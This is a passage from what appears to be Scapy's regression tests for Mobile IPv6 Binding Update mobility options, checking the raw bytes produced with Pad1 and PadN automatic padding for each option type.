==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x02\x02\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptAltCoA = Mobility Options - Automatic Padding - MIP6OptAltCoA a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptAltCoA()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x05\x00\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x04\x00\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x03\x00\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptAltCoA()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptNonceIndices = Mobility Options - Automatic Padding - MIP6OptNonceIndices a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x04\x10\x00\x00\x00\x00\x01\x02\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x04\x10\x00\x00\x00\x00\x01\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptNonceIndices()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptNonceIndices()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptNonceIndices()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x04\x10\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptBindingAuthData = Mobility Options - Automatic Padding - MIP6OptBindingAuthData a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptBindingAuthData()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptBindingAuthData()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptMobNetPrefix = Mobility Options - Automatic Padding - MIP6OptMobNetPrefix a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMobNetPrefix()])) == b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x05\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x04\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x03\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptLLAddr = Mobility Options - Automatic Padding - MIP6OptLLAddr a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptMNID = Mobility Options - Automatic Padding - MIP6OptMNID a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMNID()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x08\x01\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMNID()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x08\x01\x01' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x08\x01\x01\x01\x05\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x08\x01\x01\x01\x04\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x08\x01\x01\x01\x03\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x08\x01\x01\x01\x02\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x08\x01\x01\x01\x01\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x08\x01\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x08\x01\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptMsgAuth = Mobility Options - Automatic Padding - MIP6OptMsgAuth a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMsgAuth()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMsgAuth()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptReplayProtection = Mobility Options - Automatic Padding - MIP6OptReplayProtection a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptReplayProtection()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptReplayProtection()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptCGAParamsReq = Mobility Options - Automatic Padding - MIP6OptCGAParamsReq a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0b\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0b\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0b\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0b\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0b\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0b\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0b\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0b\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0b\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptCGAParams = Mobility Options - Automatic Padding - MIP6OptCGAParams a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0c\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0c\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0c\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0c\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0c\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0c\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0c\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0c\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptSignature = Mobility Options - Automatic Padding - MIP6OptSignature a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\r\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\r\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\r\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\r\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\r\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\r\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\r\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\r\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\r\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken = Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptHomeKeygenToken()])) 